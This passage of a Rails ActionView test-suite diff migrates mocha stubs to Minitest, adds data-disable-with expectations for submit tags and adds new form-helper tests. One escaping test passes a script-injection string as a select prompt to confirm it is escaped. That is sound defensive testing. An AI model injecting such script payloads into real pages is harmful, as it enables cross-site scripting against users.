value='Edit post' />" end assert_dom_equal expected, output_buffer @@ -1875,7 +1903,7 @@ class FormHelperTest < ActionView::TestCase "<textarea name='other_name[body]' id='other_name_body'>\nBack to the hill and over it again!</textarea>" + "<input name='other_name[secret]' value='0' type='hidden' />" + "<input name='other_name[secret]' checked='checked' id='other_name_secret' value='1' type='checkbox' />" + - "<input name='commit' value='Create post' type='submit' />" + "<input name='commit' value='Create post' data-disable-with='Create post' type='submit' />" end assert_dom_equal expected, output_buffer @@ -2003,21 +2031,22 @@ class FormHelperTest < ActionView::TestCase def test_form_for_with_remote_without_html @post.persisted = false - @post.stubs(:to_key).returns(nil) - form_for(@post, remote: true) do |f| - concat f.text_field(:title) - concat f.text_area(:body) - concat f.check_box(:secret) - end + @post.stub(:to_key, nil) do + form_for(@post, remote: true) do |f| + concat f.text_field(:title) + concat f.text_area(:body) + concat f.check_box(:secret) + end - expected = whole_form("/posts", "new_post", "new_post", remote: true) do - "<input name='post[title]' type='text' id='post_title' value='Hello World' />" + - "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" + - "<input name='post[secret]' type='hidden' value='0' />" + - "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" - end + expected = whole_form("/posts", "new_post", "new_post", remote: true) do + "<input name='post[title]' type='text' id='post_title' value='Hello World' />" + + "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" + + "<input name='post[secret]' type='hidden' value='0' />" + + "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" + end - assert_dom_equal expected, output_buffer + assert_dom_equal expected, output_buffer + end end def test_form_for_without_object @@ -2083,7 +2112,7 @@ class FormHelperTest < ActionView::TestCase expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" + "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" + - "<input name='commit' type='submit' value='Create post' />" + "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />" end assert_dom_equal expected, output_buffer @@ -2101,7 +2130,7 @@ class FormHelperTest < ActionView::TestCase expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" + "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" + - "<input name='commit' type='submit' value='Create post' />" + "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />" end assert_dom_equal expected, output_buffer @@ -2220,16 +2249,17 @@ class FormHelperTest < ActionView::TestCase def test_submit_with_object_as_new_record_and_locale_strings with_locale :submit do @post.persisted = false - @post.stubs(:to_key).returns(nil) - form_for(@post) do |f| - concat f.submit - end + @post.stub(:to_key, nil) do + form_for(@post) do |f| + concat f.submit + end - expected = whole_form('/posts', 'new_post', 'new_post') do - "<input name='commit' type='submit' value='Create Post' />" - end + expected = whole_form('/posts', 'new_post', 'new_post') do + "<input name='commit' data-disable-with='Create Post' type='submit' value='Create Post' />" + end - assert_dom_equal expected, output_buffer + assert_dom_equal expected, output_buffer + end end end @@ -2240,7 +2270,7 @@ class FormHelperTest < ActionView::TestCase end expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do - "<input name='commit' type='submit' value='Confirm Post changes' />" + "<input name='commit' data-disable-with='Confirm Post changes' type='submit' value='Confirm Post changes' />" end assert_dom_equal expected, output_buffer @@ -2254,7 +2284,7 @@ class FormHelperTest < ActionView::TestCase end expected = whole_form do - "<input name='commit' class='extra' type='submit' value='Save changes' />" + "<input name='commit' class='extra' data-disable-with='Save changes' type='submit' value='Save changes' />" end assert_dom_equal expected, output_buffer @@ -2268,7 +2298,7 @@ class FormHelperTest < ActionView::TestCase end expected = whole_form('/posts/123', 'edit_another_post', 'edit_another_post', method: 'patch') do - "<input name='commit' type='submit' value='Update your Post' />" + "<input name='commit' data-disable-with='Update your Post' type='submit' value='Update your Post' />" end assert_dom_equal expected, output_buffer @@ -2290,6 +2320,27 @@ class FormHelperTest < ActionView::TestCase assert_dom_equal expected, output_buffer end + def test_deep_nested_fields_for + @comment.save + form_for(:posts) do |f| + f.fields_for('post[]', @post) do |f2| + f2.text_field(:id) + @post.comments.each do |comment| + concat f2.fields_for('comment[]', comment) { |c| + concat c.text_field(:name) + } + end + end + end + + expected = whole_form do + "<input name='posts[post][0][comment][1][name]' type='text' id='posts_post_0_comment_1_name' value='comment #1' />" + end + + assert_dom_equal expected, output_buffer + end + + def test_nested_fields_for_with_nested_collections form_for(@post, as: 'post[]') do |f| concat f.text_field(:title) @@ -2807,11 +2858,12 @@ class FormHelperTest < ActionView::TestCase def test_nested_fields_label_translation_with_more_than_10_records @post.comments = Array.new(11) { |id| Comment.new(id + 1) } - I18n.expects(:t).with('post.comments.body', default: [:"comment.body", ''], scope: "helpers.label").times(11).returns "Write body here" - - form_for(@post) do |f| - f.fields_for(:comments) do |cf| - concat cf.label(:body) + params = 11.times.map { ['post.comments.body', default: [:"comment.body", ''], scope: "helpers.label"] } + assert_called_with(I18n, :t, params, returns: "Write body here") do + form_for(@post) do |f| + f.fields_for(:comments) do |cf| + concat cf.label(:body) + end end end end @@ -2878,6 +2930,23 @@ class FormHelperTest < ActionView::TestCase assert_dom_equal expected, output_buffer end + def test_nested_fields_for_with_child_index_as_lambda_option_override_on_a_nested_attributes_collection_association + @post.comments = [] + + form_for(@post) do |f| + concat f.fields_for(:comments, Comment.new(321), child_index: -> { 'abc' } ) { |cf| + concat cf.text_field(:name) + } + end + + expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do + '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' + + '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />' + end + + assert_dom_equal expected, output_buffer + end + class FakeAssociationProxy def to_ary [1, 2, 3] @@ -3252,6 +3321,30 @@ class FormHelperTest < ActionView::TestCase ActionView::Base.default_form_builder = old_default_form_builder end + def test_form_builder_override + self.default_form_builder = LabelledFormBuilder + + output_buffer = fields_for(:post, @post) do |f| + concat f.text_field(:title) + end + + expected = "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" + + assert_dom_equal expected, output_buffer + end + + def test_lazy_loading_form_builder_override + self.default_form_builder = "FormHelperTest::LabelledFormBuilder" + + output_buffer = fields_for(:post, @post) do |f| + concat f.text_field(:title) + end + + expected = "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" + + assert_dom_equal expected, output_buffer + end + def test_fields_for_with_labelled_builder output_buffer = fields_for(:post, @post, builder: LabelledFormBuilder) do |f| concat f.text_field(:title) diff --git a/actionview/test/template/form_options_helper_i18n_test.rb b/actionview/test/template/form_options_helper_i18n_test.rb index 4972ea6511..26ede09a5f 100644 --- a/actionview/test/template/form_options_helper_i18n_test.rb +++ b/actionview/test/template/form_options_helper_i18n_test.rb @@ -14,8 +14,9 @@ class FormOptionsHelperI18nTests < ActionView::TestCase end def test_select_with_prompt_true_translates_prompt_message - I18n.expects(:translate).with('helpers.select.prompt', { :default => 'Please select' }) - select('post', 'category', [], :prompt => true) + assert_called_with(I18n, :translate, ['helpers.select.prompt', { :default => 'Please select' }]) do + select('post', 'category', [], :prompt => true) + end end def test_select_with_translated_prompt diff --git a/actionview/test/template/form_options_helper_test.rb b/actionview/test/template/form_options_helper_test.rb index d25fa3706f..c5b63d33f1 100644 --- a/actionview/test/template/form_options_helper_test.rb +++ b/actionview/test/template/form_options_helper_test.rb @@ -17,13 +17,37 @@ class FormOptionsHelperTest < ActionView::TestCase Album = Struct.new('Album', :id, :title, :genre) end - def setup - @fake_timezones = %w(A B C D E).map do |id| - tz = stub(:name => id, :to_s => id) - ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz) - tz + module FakeZones + FakeZone = Struct.new(:name) do + def to_s; name; end end - ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones) + + module ClassMethods + def [](id); fake_zones ? fake_zones[id] : super; end + def all; fake_zones ? fake_zones.values : super; end + def dummy; :test; end + end + + def self.prepended(base) + class << base + mattr_accessor(:fake_zones) + prepend ClassMethods + end + end + end + + ActiveSupport::TimeZone.prepend FakeZones + + setup do + ActiveSupport::TimeZone.fake_zones = %w(A B C D E).map do |id| + [ id, FakeZones::FakeZone.new(id) ] + end.to_h + + @fake_timezones = ActiveSupport::TimeZone.all + end + + teardown do + ActiveSupport::TimeZone.fake_zones = nil end def test_collection_options @@ -564,7 +588,7 @@ class FormOptionsHelperTest < ActionView::TestCase def test_select_under_fields_for_with_string_and_given_prompt @post = Post.new - options = "<option value=\"abe\">abe</option><option value=\"mus\">mus</option><option value=\"hest\">hest</option>".html_safe + options = raw("<option value=\"abe\">abe</option><option value=\"mus\">mus</option><option value=\"hest\">hest</option>") output_buffer = fields_for :post, @post do |f| concat f.select(:category, options, :prompt => 'The prompt') @@ -645,6 +669,13 @@ class FormOptionsHelperTest < ActionView::TestCase ) end + def test_select_with_include_blank_false_and_required + @post = Post.new + @post.category = "<mus>" + e = assert_raises(ArgumentError) { select("post", "category", %w( abe <mus> hest), { include_blank: false }, required: 'required') } + assert_match(/include_blank cannot be false for a required field./, e.message) + end + def test_select_with_blank_as_string @post = Post.new @post.category = "<mus>" @@ -1156,8 +1187,8 @@ class FormOptionsHelperTest < ActionView::TestCase def test_time_zone_select_with_priority_zones_as_regexp @firm = Firm.new("D") - @fake_timezones.each_with_index do |tz, i| - tz.stubs(:=~).returns(i.zero? || i == 3) + @fake_timezones.each do |tz| + def tz.=~(re); %(A D).include?(name) end end html = time_zone_select("firm", "time_zone", /A|D/) @@ -1172,15 +1203,16 @@ class FormOptionsHelperTest < ActionView::TestCase html end - def test_time_zone_select_with_priority_zones_as_regexp_using_grep_finds_no_zones + def test_time_zone_select_with_priority_zones_is_not_implemented_with_grep @firm = Firm.new("D") - priority_zones = /A|D/ + # `time_zone_select` can't be written with `grep` because Active Support + # time zones don't support implicit string coercion with `to_str`. @fake_timezones.each do |tz| - priority_zones.stubs(:===).with(tz).raises(Exception) + def tz.===(zone); raise Exception; end end - html = time_zone_select("firm", "time_zone", priority_zones) + html = time_zone_select("firm", "time_zone", /A|D/) assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" + "<option value=\"\" disabled=\"disabled\">-------------</option>\n" + "<option value=\"A\">A</option>\n" + diff --git a/actionview/test/template/form_tag_helper_test.rb b/actionview/test/template/form_tag_helper_test.rb index cad1c82309..7b93c8dc29 100644 --- a/actionview/test/template/form_tag_helper_test.rb +++ b/actionview/test/template/form_tag_helper_test.rb @@ -64,6 +64,18 @@ class FormTagHelperTest < ActionView::TestCase assert_dom_equal expected, actual end + def test_check_box_tag_disabled + actual = check_box_tag "admin","1", false, disabled: true + expected = %(<input id="admin" disabled="disabled" name="admin" type="checkbox" value="1" />) + assert_dom_equal expected, actual + end + + def test_check_box_tag_default_checked + actual = check_box_tag "admin","1", true + expected = %(<input id="admin" checked="checked" name="admin" type="checkbox" value="1" />) + assert_dom_equal expected, actual + end + def test_check_box_tag_id_sanitized label_elem = root_elem(check_box_tag("project[2][admin]")) assert_match VALID_HTML_ID, label_elem['id'] @@ -204,19 +216,19 @@ class FormTagHelperTest < ActionView::TestCase end def test_select_tag - actual = select_tag "people", "<option>david</option>".html_safe + actual = select_tag "people", raw("<option>david</option>") expected = %(<select id="people" name="people"><option>david</option></select>) assert_dom_equal expected, actual end def test_select_tag_with_multiple - actual = select_tag "colors", "<option>Red</option><option>Blue</option><option>Green</option>".html_safe, multiple: true + actual = select_tag "colors", raw("<option>Red</option><option>Blue</option><option>Green</option>"), multiple: true expected = %(<select id="colors" multiple="multiple" name="colors[]"><option>Red</option><option>Blue</option><option>Green</option></select>) assert_dom_equal expected, actual end def test_select_tag_disabled - actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, disabled: true + actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), disabled: true expected = %(<select id="places" disabled="disabled" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>) assert_dom_equal expected, actual end @@ -227,37 +239,37 @@ class FormTagHelperTest < ActionView::TestCase end def test_select_tag_with_include_blank - actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :include_blank => true + actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), :include_blank => true expected = %(<select id="places" name="places"><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>) assert_dom_equal expected, actual end def test_select_tag_with_include_blank_false - actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, include_blank: false + actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), include_blank: false expected = %(<select id="places" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>) assert_dom_equal expected, actual end def test_select_tag_with_include_blank_string - actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, include_blank: 'Choose' + actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), include_blank: 'Choose' expected = %(<select id="places" name="places"><option value="">Choose</option><option>Home</option><option>Work</option><option>Pub</option></select>) assert_dom_equal expected, actual end def test_select_tag_with_prompt - actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string" + actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), :prompt => "string" expected = %(<select id="places" name="places"><option value="">string</option><option>Home</option><option>Work</option><option>Pub</option></select>) assert_dom_equal expected, actual end def test_select_tag_escapes_prompt - actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "<script>alert(1337)</script>" + actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), :prompt => "<script>alert(1337)</script>" expected = %(<select id="places" name="places"><option value=""><script>alert(1337)</script></option><option>Home</option><option>Work</option><option>Pub</option></select>) assert_dom_equal expected, actual end def test_select_tag_with_prompt_and_include_blank - actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string", :include_blank => true + actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), :prompt => "string", :include_blank => true expected = %(<select name="places" id="places"><option value="">string</option><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>) assert_dom_equal expected, actual end @@ -351,12 +363,18 @@ class FormTagHelperTest < ActionView::TestCase assert_dom_equal expected, actual end - def test_text_field_disabled + def test_text_field_tag_disabled actual = text_field_tag "title", "Hello!", disabled: true expected = %(<input id="title" name="title" disabled="disabled" type="text" value="Hello!" />) assert_dom_equal expected, actual end + def test_text_field_tag_with_placeholder_option + actual = text_field_tag "title", "Hello!", placeholder: 'Enter search term...' + expected = %(<input id="title" name="title" placeholder="Enter search term..." type="text" value="Hello!" />) + assert_dom_equal expected, actual + end + def test_text_field_tag_with_multiple_options actual = text_field_tag "title", "Hello!", :size => 70, :maxlength => 80 expected = %(<input id="title" name="title" size="70" maxlength="80" type="text" value="Hello!" />) @@ -415,9 +433,9 @@ class FormTagHelperTest < ActionView::TestCase assert_dom_equal %(<input checked="checked" disabled="disabled" id="admin" name="admin" readonly="readonly" type="checkbox" value="1" />), check_box_tag("admin", 1, true, 'disabled' => true, :readonly => "yes") assert_dom_equal %(<input checked="checked" id="admin" name="admin" type="checkbox" value="1" />), check_box_tag("admin", 1, true, :disabled => false, :readonly => nil) assert_dom_equal %(<input type="checkbox" />), tag(:input, :type => "checkbox", :checked => false) - assert_dom_equal %(<select id="people" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => true) - assert_dom_equal %(<select id="people_" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people[]", "<option>david</option>".html_safe, :multiple => true) - assert_dom_equal %(<select id="people" name="people"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => nil) + assert_dom_equal %(<select id="people" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people", raw("<option>david</option>"), :multiple => true) + assert_dom_equal %(<select id="people_" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people[]", raw("<option>david</option>"), :multiple => true) + assert_dom_equal %(<select id="people" name="people"><option>david</option></select>), select_tag("people", raw("<option>david</option>"), :multiple => nil) end def test_stringify_symbol_keys @@ -433,6 +451,44 @@ class FormTagHelperTest < ActionView::TestCase ) end + def test_empty_submit_tag + assert_dom_equal( + %(<input data-disable-with="Save" name='commit' type="submit" value="Save" />), + submit_tag("Save") + ) + end + + def test_empty_submit_tag_with_opt_out + ActionView::Base.automatically_disable_submit_tag = false + assert_dom_equal( + %(<input name='commit' type="submit" value="Save" />), + submit_tag("Save") + ) + ensure + ActionView::Base.automatically_disable_submit_tag = true + end + + def test_submit_tag_having_data_disable_with_string + assert_dom_equal( + %(<input data-disable-with="Processing..." data-confirm="Are you sure?" name='commit' type="submit" value="Save" />), + submit_tag("Save", { "data-disable-with" => "Processing...", "data-confirm" => "Are you sure?" }) + ) + end + + def test_submit_tag_having_data_disable_with_boolean + assert_dom_equal( + %(<input data-confirm="Are you sure?" name='commit' type="submit" value="Save" />), + submit_tag("Save", { "data-disable-with" => false, "data-confirm" => "Are you sure?" }) + ) + end + + def test_submit_tag_having_data_hash_disable_with_boolean + assert_dom_equal( + %(<input data-confirm="Are you sure?" name='commit' type="submit" value="Save" />), + submit_tag("Save", { :data => { :confirm => "Are you sure?", :disable_with => false } }) + ) + end + def test_submit_tag_with_no_onclick_options assert_dom_equal( %(<input name='commit' data-disable-with="Saving..." type="submit" value="Save" />), @@ -442,11 +498,26 @@ class FormTagHelperTest < ActionView::TestCase def test_submit_tag_with_confirmation assert_dom_equal( - %(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />), + %(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" data-disable-with="Save" />), submit_tag("Save", :data => { :confirm => "Are you sure?" }) ) end + def test_submit_tag_doesnt_have_data_disable_with_twice + assert_equal( + %(<input type="submit" name="commit" value="Save" data-confirm="Are you sure?" data-disable-with="Processing..." />), + submit_tag("Save", { "data-disable-with" => "Processing...", "data-confirm" => "Are you sure?" }) + ) + end + + def test_submit_tag_with_symbol_value + assert_dom_equal( + %(<input data-disable-with="Save" name='commit' type="submit" value="Save" />), + submit_tag(:Save) + ) + end + + def test_button_tag assert_dom_equal( %(<button name="button" type="submit">Button</button>), @@ -510,6 +581,13 @@ class FormTagHelperTest < ActionView::TestCase ) end + def test_button_tag_with_data_disable_with_option + assert_dom_equal( + %(<button name="button" type="submit" data-disable-with="Please wait...">Checkout</button>), + button_tag("Checkout", data: { disable_with: "Please wait..." }) + ) + end + def test_image_submit_tag_with_confirmation assert_dom_equal( %(<input alt="Save" type="image" src="/images/save.gif" data-confirm="Are you sure?" />), @@ -544,7 +622,9 @@ class FormTagHelperTest < ActionView::TestCase def test_datetime_field_tag expected = %{<input id="appointment" name="appointment" type="datetime" />} - assert_dom_equal(expected, datetime_field_tag("appointment")) + assert_deprecated do + assert_dom_equal(expected, datetime_field_tag("appointment")) + end end def test_datetime_local_field_tag diff --git a/actionview/test/template/log_subscriber_test.rb b/actionview/test/template/log_subscriber_test.rb index 7f4c84929f..7683444bf0 100644 --- a/actionview/test/template/log_subscriber_test.rb +++ b/actionview/test/template/log_subscriber_test.rb @@ -12,13 +12,18 @@ class AVLogSubscriberTest < ActiveSupport::TestCase lookup_context = ActionView::LookupContext.new(view_paths, {}, ["test"]) renderer = ActionView::Renderer.new(lookup_context) @view = ActionView::Base.new(renderer, {}) - Rails.stubs(:root).returns(File.expand_path(FIXTURE_LOAD_PATH)) ActionView::LogSubscriber.attach_to :action_view + unless Rails.respond_to?(:root) + @defined_root = true + def Rails.root; :defined_root; end # Minitest `stub` expects the method to be defined. + end end def teardown super ActiveSupport::LogSubscriber.log_subscribers.clear + # We need to undef `root`, RenderTestCases don't want this to be defined + Rails.instance_eval { undef :root } if @defined_root end def set_logger(logger) @@ -26,66 +31,99 @@ class AVLogSubscriberTest < ActiveSupport::TestCase end def test_render_file_template - @view.render(:file => "test/hello_world") - wait - - assert_equal 1, @logger.logged(:info).size - assert_match(/Rendered test\/hello_world\.erb/, @logger.logged(:info).last) + Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do + @view.render(:file => "test/hello_world") + wait + + assert_equal 2, @logger.logged(:info).size + assert_match(/Rendering test\/hello_world\.erb/, @logger.logged(:info).first) + assert_match(/Rendered test\/hello_world\.erb/, @logger.logged(:info).last) + end end def test_render_text_template - @view.render(:text => "TEXT") - wait - - assert_equal 1, @logger.logged(:info).size - assert_match(/Rendered text template/, @logger.logged(:info).last) + Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do + @view.render(:text => "TEXT") + wait + + assert_equal 2, @logger.logged(:info).size + assert_match(/Rendering text template/, @logger.logged(:info).first) + assert_match(/Rendered text template/, @logger.logged(:info).last) + end end def test_render_inline_template - @view.render(:inline => "<%= 'TEXT' %>") - wait - - assert_equal 1, @logger.logged(:info).size - assert_match(/Rendered inline template/, @logger.logged(:info).last) + Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do + @view.render(:inline => "<%= 'TEXT' %>") + wait + + assert_equal 2, @logger.logged(:info).size + assert_match(/Rendering inline template/, @logger.logged(:info).first) + assert_match(/Rendered inline template/, @logger.logged(:info).last) + end end def test_render_partial_template - @view.render(:partial => "test/customer") - wait + Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do + @view.render(:partial => "test/customer") + wait - assert_equal 1, @logger.logged(:info).size - assert_match(/Rendered test\/_customer.erb/, @logger.logged(:info).last) + assert_equal 1, @logger.logged(:info).size + assert_match(/Rendered test\/_customer.erb/, @logger.logged(:info).last) + end end def test_render_partial_with_implicit_path - @view.render(Customer.new("david"), :greeting => "hi") - wait + Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do + @view.render(Customer.new("david"), :greeting => "hi") + wait - assert_equal 1, @logger.logged(:info).size - assert_match(/Rendered customers\/_customer\.html\.erb/, @logger.logged(:info).last) + assert_equal 1, @logger.logged(:info).size + assert_match(/Rendered customers\/_customer\.html\.erb/, @logger.logged(:info).last) + end end def test_render_collection_template - @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ]) - wait + Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do + @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ]) + wait - assert_equal 1, @logger.logged(:info).size - assert_match(/Rendered test\/_customer.erb/, @logger.logged(:info).last) + assert_equal 1, @logger.logged(:info).size + assert_match(/Rendered collection of test\/_customer.erb \[2 times\]/, @logger.logged(:info).last) + end end def test_render_collection_with_implicit_path - @view.render([ Customer.new("david"), Customer.new("mary") ], :greeting => "hi") - wait + Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do + @view.render([ Customer.new("david"), Customer.new("mary") ], :greeting => "hi") + wait - assert_equal 1, @logger.logged(:info).size - assert_match(/Rendered customers\/_customer\.html\.erb/, @logger.logged(:info).last) + assert_equal 1, @logger.logged(:info).size + assert_match(/Rendered collection of customers\/_customer\.html\.erb \[2 times\]/, @logger.logged(:info).last) + end end def test_render_collection_template_without_path - @view.render([ GoodCustomer.new("david"), Customer.new("mary") ], :greeting => "hi") - wait + Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do + @view.render([ GoodCustomer.new("david"), Customer.new("mary") ], :greeting => "hi") + wait + + assert_equal 1, @logger.logged(:info).size + assert_match(/Rendered collection of templates/, @logger.logged(:info).last) + end + end + + def test_render_collection_with_cached_set + Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do + def @view.view_cache_dependencies; []; end + def @view.fragment_cache_key(*); 'ahoy `controller` dependency'; end + + @view.render(partial: 'customers/customer', collection: [ Customer.new('david'), Customer.new('mary') ], cached: true, + locals: { greeting: 'hi' }) + wait - assert_equal 1, @logger.logged(:info).size - assert_match(/Rendered collection/, @logger.logged(:info).last) + assert_equal 1, @logger.logged(:info).size + assert_match(/Rendered collection of customers\/_customer\.html\.erb \[0 \/ 2 cache hits\]/, @logger.logged(:info).last) + end end end diff --git a/actionview/test/template/lookup_context_test.rb b/actionview/test/template/lookup_context_test.rb index 4f7823045e..2e3a3f9bae 100644 --- a/actionview/test/template/lookup_context_test.rb +++ b/actionview/test/template/lookup_context_test.rb @@ -27,7 +27,7 @@ class LookupContextTest < ActiveSupport::TestCase end test "normalizes details on initialization" do - assert_equal Mime::SET, @lookup_context.formats + assert_equal Mime::SET.to_a, @lookup_context.formats assert_equal :en, @lookup_context.locale end @@ -48,7 +48,7 @@ class LookupContextTest < ActiveSupport::TestCase test "handles */* formats" do @lookup_context.formats = ["*/*"] - assert_equal Mime::SET, @lookup_context.formats + assert_equal Mime::SET.to_a, @lookup_context.formats end test "handles explicitly defined */* formats fallback to :js" do @@ -108,10 +108,11 @@ class LookupContextTest < ActiveSupport::TestCase end test "found templates respects given formats if one cannot be found from template or handler" do - ActionView::Template::Handlers::Builder.expects(:default_format).returns(nil) - @lookup_context.formats = [:text] - template = @lookup_context.find("hello", %w(test)) - assert_equal [:text], template.formats + assert_called(ActionView::Template::Handlers::Builder, :default_format, returns: nil) do + @lookup_context.formats = [:text] + template = @lookup_context.find("hello", %w(test)) + assert_equal [:text], template.formats + end end test "adds fallbacks to view paths when required" do @@ -210,45 +211,50 @@ end class LookupContextWithFalseCaching < ActiveSupport::TestCase def setup @resolver = ActionView::FixtureResolver.new("test/_foo.erb" => ["Foo", Time.utc(2000)]) - ActionView::Resolver.stubs(:caching?).returns(false) @lookup_context = ActionView::LookupContext.new(@resolver, {}) end test "templates are always found in the resolver but timestamp is checked before being compiled" do - template = @lookup_context.find("foo", %w(test), true) - assert_equal "Foo", template.source - - # Now we are going to change the template, but it won't change the returned template - # since the timestamp is the same. - @resolver.hash["test/_foo.erb"][0] = "Bar" - template = @lookup_context.find("foo", %w(test), true) - assert_equal "Foo", template.source - - # Now update the timestamp. - @resolver.hash["test/_foo.erb"][1] = Time.now.utc - template = @lookup_context.find("foo", %w(test), true) - assert_equal "Bar", template.source + ActionView::Resolver.stub(:caching?, false) do + template = @lookup_context.find("foo", %w(test), true) + assert_equal "Foo", template.source + + # Now we are going to change the template, but it won't change the returned template + # since the timestamp is the same. + @resolver.hash["test/_foo.erb"][0] = "Bar" + template = @lookup_context.find("foo", %w(test), true) + assert_equal "Foo", template.source + + # Now update the timestamp. + @resolver.hash["test/_foo.erb"][1] = Time.now.utc + template = @lookup_context.find("foo", %w(test), true) + assert_equal "Bar", template.source + end end test "if no template was found in the second lookup, with no cache, raise error" do - template = @lookup_context.find("foo", %w(test), true) - assert_equal "Foo", template.source + ActionView::Resolver.stub(:caching?, false) do + template = @lookup_context.find("foo", %w(test), true) + assert_equal "Foo", template.source - @resolver.hash.clear - assert_raise ActionView::MissingTemplate do - @lookup_context.find("foo", %w(test), true) + @resolver.hash.clear + assert_raise ActionView::MissingTemplate do + @lookup_context.find("foo", %w(test), true) + end end end test "if no template was cached in the first lookup, retrieval should work in the second call" do - @resolver.hash.clear - assert_raise ActionView::MissingTemplate do - @lookup_context.find("foo", %w(test), true) - end + ActionView::Resolver.stub(:caching?, false) do + @resolver.hash.clear + assert_raise ActionView::MissingTemplate do + @lookup_context.find("foo", %w(test), true) + end - @resolver.hash["test/_foo.erb"] = ["Foo", Time.utc(2000)] - template = @lookup_context.find("foo", %w(test), true) - assert_equal "Foo", template.source + @resolver.hash["test/_foo.erb"] = ["Foo", Time.utc(2000)] + template = @lookup_context.find("foo", %w(test), true) + assert_equal "Foo", template.source + end end end diff --git a/actionview/test/template/number_helper_test.rb b/actionview/test/template/number_helper_test.rb index b70b750869..ace3e950b8 100644 --- a/actionview/test/template/number_helper_test.rb +++ b/actionview/test/template/number_helper_test.rb @@ -21,6 +21,7 @@ class NumberHelperTest < ActionView::TestCase assert_equal "<b>1,234,567,890.50</b> $", number_to_currency("1234567890.50", format: "<b>%n</b> %u") assert_equal "<b>1,234,567,890.50</b> $", number_to_currency("-1234567890.50", negative_format: "<b>%n</b> %u") assert_equal "<b>1,234,567,890.50</b> $", number_to_currency("-1234567890.50", 'negative_format' => "<b>%n</b> %u") + assert_equal '₹ 12,30,000.00', number_to_currency(1230000, delimiter_pattern: /(\d+?)(?=(\d\d)+(\d)(?!\d))/, unit: '₹', format: "%u %n") end def test_number_to_percentage diff --git a/actionview/test/template/output_safety_helper_test.rb b/actionview/test/template/output_safety_helper_test.rb index a1bf0e1a5f..b940c9dd36 100644 --- a/actionview/test/template/output_safety_helper_test.rb +++ b/actionview/test/template/output_safety_helper_test.rb @@ -18,10 +18,10 @@ class OutputSafetyHelperTest < ActionView::TestCase end test "safe_join should html_escape any items, including the separator, if they are not html_safe" do - joined = safe_join(["<p>foo</p>".html_safe, "<p>bar</p>"], "<br />") + joined = safe_join([raw("<p>foo</p>"), "<p>bar</p>"], "<br />") assert_equal "<p>foo</p><br /><p>bar</p>", joined - joined = safe_join(["<p>foo</p>".html_safe, "<p>bar</p>".html_safe], "<br />".html_safe) + joined = safe_join([raw("<p>foo</p>"), raw("<p>bar</p>")], raw("<br />")) assert_equal "<p>foo</p><br /><p>bar</p>", joined end @@ -32,4 +32,59 @@ class OutputSafetyHelperTest < ActionView::TestCase joined = safe_join(['"a"',['<b>','<c>']], ' <br/> ') assert_equal '"a" <br/> <b> <br/> <c>', joined end + + test "to_sentence should escape non-html_safe values" do + actual = to_sentence(%w(< > & ' ")) + assert 